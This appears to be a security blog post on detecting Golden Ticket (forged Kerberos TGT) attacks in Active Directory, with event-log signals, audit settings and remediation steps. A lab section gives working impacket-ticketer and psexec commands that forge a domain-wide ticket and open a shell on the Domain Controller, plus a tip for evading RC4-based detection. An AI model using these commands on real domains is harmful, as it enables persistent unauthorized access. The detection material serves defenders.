Golden Ticket Attack: How to Detect Forged Kerberos TGTs in AD

Golden Ticket Attack Detection means identifying forged Kerberos TGTs signed offline with the stolen krbtgt key. Primary indicator: Event ID 4769 (Service Ticket Request) on the Domain Controller showing RC4 encryption type (0x17) in an AES-preferred domain, or a ticket lifetime far beyond the 10-hour domain default. These behaviors may indicate that an attacker has forged a TGT using the compromised krbtgt account key to impersonate users and maintain persistent access to the domain.

This post covers how Golden Ticket attacks work inside Kerberos, how to forge a Golden Ticket in a lab using Impacket ticketer, and the security implications of compromising the krbtgt account.

What Is a Golden Ticket Attack?

Golden Ticket is a Kerberos persistence technique where an attacker forges a Ticket Granting Ticket (TGT) offline using the NTLM hash or AES key of the krbtgt account — the special account whose key signs every TGT issued in the domain. In a normal Kerberos flow, authentication happens in three steps:

1. Client authenticates with their password and receives a TGT from the KDC (logged as Event 4768)
2. Client presents the TGT to the KDC to request a TGS for a specific service (logged as Event 4769)
3. Client presents the TGS directly to the target service

In a Golden Ticket attack, the attacker forges step 1 entirely offline. Because TGTs are encrypted and signed with the krbtgt key, anyone who holds that key can create a TGT the Domain Controller will accept as legitimate — with any username, any group memberships, and any ticket lifetime the attacker chooses. This gives Golden Ticket two defining properties that separate it from Silver Ticket:

• Domain-wide scope — one Golden Ticket grants access to any service in the entire domain, not just one machine
• Long-term persistence — a forged TGT can be set to never expire, surviving password resets of all accounts except krbtgt itself

What Does a Golden Ticket Attack Require?

Only three pieces of information are needed — all extractable from a single DCSync operation:

Unlike Silver Ticket, there is no SPN required — the Golden Ticket is a TGT, not a TGS, so it is not scoped to any specific service. Both the NTLM hash and AES keys of krbtgt appear in the DCSync output from secretsdump.py:

[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:85eccbcc16b1c1c3a7fc6c5a51ec5222d6142461e6746a53b2bd7c51088d7df6
krbtgt:aes128-cts-hmac-sha1-96:c918a30c995a61bdd36871a53ca9bd7d
krbtgt:des-cbc-md5:dfe5eafb08e0bc80

Prefer -aesKey over -nthash when available. An AES-encrypted ticket matches the domain’s expected encryption type and is significantly harder to flag in logs — the RC4 detection signature does not apply.

How to Forge a Golden Ticket with Impacket ticketer?

In the lab, I used impacket-ticketer — a tool in the Impacket suite that creates forged Kerberos tickets entirely offline. No live connection to the Domain Controller is required once you have the three items above.

1. Install Impacket

pipx install impacket

2. Activate the virtual environment

cd ~/.local/share/pipx/venvs/impacket
source ./bin/activate

3. Forge the Golden Ticket

Run impacket-ticketer with the krbtgt AES key. Notice there is no -spn flag — this forges a TGT, not a TGS:

impacket-ticketer \
  -aesKey 85eccbcc16b1c1c3a7fc6c5a51ec5222d6142461e6746a53b2bd7c51088d7df6 \
  -domain-sid S-1-5-21-4083024152-3868936388-1761055989 \
  -domain domain.local \
  user.test

Option breakdown:

If the AES key is not available, substitute -nthash [krbtgt_ntlm_hash]. The ticket will then use RC4 encryption — functional, but immediately detectable in a domain that enforces AES. Expected output:

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for domain.local/user.test
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*] Saving ticket in user.test.ccache

The tool writes user.test.ccache — a Kerberos TGT credential cache. The KDC will accept this ticket and issue real TGS tickets for any service in the domain.

4. Load the ticket and access services

Export the TGT and use it to authenticate to any domain machine. When the service ticket is requested, the DC issues a legitimate TGS against the forged TGT:

export KRB5CCNAME=user.test.ccache

# Get a shell on the Domain Controller itself
KRB5CCNAME=user.test.ccache impacket-psexec \
  -k -no-pass \
  domain.local/user.test@DC1.domain.local

# Or access SMB on any domain-joined machine
KRB5CCNAME=user.test.ccache impacket-smbclient \
  -k -no-pass \
  domain.local/user.test@anyserver.domain.local

Key difference from Silver Ticket: The Golden Ticket TGT works for any service across the entire domain. After exporting the .ccache, the attacker can authenticate to the DC itself, any file server, any database — one forged ticket, unlimited targets, for as long as the krbtgt key is unchanged.

What Windows Event Log Signs Indicate a Golden Ticket?

Unlike Silver Ticket, the Domain Controller does participate in Golden Ticket sessions — but it cannot verify the TGT was forged because it was signed with the real krbtgt key. Detection relies on spotting anomalies within what the DC logs, not in what is missing.

Event ID 4769 — Kerberos Service Ticket Request (Primary Signal)

When the attacker presents the forged TGT to request a service ticket, Event 4769 fires on the DC. Look for these anomalies across the logged fields:

Red flag: Event 4769 with Ticket Encryption Type: 0x17 (RC4-HMAC) on a domain that enforces AES. Modern domains configured for AES128/AES256 will almost never produce legitimate RC4 service ticket requests for privileged accounts — any such occurrence warrants immediate investigation.

Event ID 4768 — Kerberos TGT Request (Absent Signal)

A Golden Ticket bypasses this event entirely — the attacker forges the TGT offline and never submits a real authentication request to the KDC. When Event 4769 fires but there is no preceding Event 4768 for the same account in the same session, that mismatch points to a forged or imported TGT.

Event ID 4672 — Special Privileges Assigned to New Logon

When the forged ticket claims Domain Admin group membership and logs on to a target machine, Event 4672 fires listing the elevated privileges. If this event fires for an account whose actual AD group membership does not include those privileges, escalate immediately.

Quick Detection Checklist

• Event 4769 with Ticket Encryption Type: 0x17 (RC4) on an AES-preferred domain
• Event 4769 for an Account Name that does not exist in Active Directory
• Event 4769 with no preceding Event 4768 for the same account in the session
• Event 4672 for an account whose AD group membership does not match the privileges listed
• High volume of Event 4769 in rapid succession from one source — attacker testing access across many services
• Kerberos authentication to the Domain Controller itself from a non-admin or unknown workstation

How Does Golden Ticket Compare to Silver Ticket and DCSync?

These three techniques are almost always chained together in an Active Directory attack. Understanding how they differ clarifies both their role in the kill chain and the different detection approach each requires.

In a real attack chain, DCSync runs first to dump the krbtgt hash and computer account hashes. Golden Ticket is then forged for domain-wide persistence. Silver Ticket provides targeted, stealthy access to individual services when bypassing the KDC entirely matters more than scope.

How to Enable Logging to Detect Golden Ticket?

Two audit policies must be active on Domain Controllers. Neither is on by default.

Enable Kerberos Authentication Service and TGT Auditing

Computer Configuration
  → Windows Settings
  → Security Settings
  → Advanced Audit Policy Configuration
  → Account Logon
    → Audit Kerberos Authentication Service        → Success + Failure
    → Audit Kerberos Service Ticket Operations     → Success + Failure

This enables both Event 4768 (TGT requests) and Event 4769 (service ticket requests). Event 4769 is where the RC4 encryption type anomaly appears — the primary Golden Ticket signal.

Enable Logon Auditing to Catch Event 4672

Computer Configuration
  → Windows Settings
  → Security Settings
  → Advanced Audit Policy Configuration
  → Logon/Logoff
    → Audit Logon          → Success + Failure
    → Audit Special Logon  → Success

Unlike Silver Ticket (where target machine logs are critical), Golden Ticket detection relies primarily on Domain Controller Kerberos logs — forward Security Event Logs from all DCs to your SIEM and build the correlation rules there.

Conclusion

Golden Ticket is the most powerful persistence technique in Active Directory — one forged TGT grants an attacker access to every service in the domain for as long as the krbtgt key remains unchanged. The challenge is that the DC actively validates these tickets without knowing they were forged. Detection requires looking for anomalies within the events, not for missing ones. To defend against it:

1. Enable Event 4769 auditing on Domain Controllers and alert on Ticket Encryption Type: 0x17 (RC4) for privileged accounts on AES-preferred domains — this is the clearest signature of a Golden Ticket forged with NTLM hash.
2. Enforce AES encryption for Kerberos — set Network security: Configure encryption types allowed for Kerberos to AES128 and AES256 only. Any RC4 ticket from a privileged account then becomes an immediate anomaly.
3. Build a SIEM correlation rule — flag Event 4769 with no preceding Event 4768 in the same session, or Event 4769 for an account name that does not exist in Active Directory.
4. Rotate krbtgt password twice — after any confirmed or suspected DCSync event, reset the krbtgt password twice within 10 hours. Two resets are required to invalidate both the current and previous key, which are both active in the domain simultaneously.
5. Guard DCSync access — Golden Ticket requires the krbtgt hash, which only DCSync or a live DC compromise can produce. Monitoring Event 4662 (replication rights access) is the earliest point in the kill chain to intervene.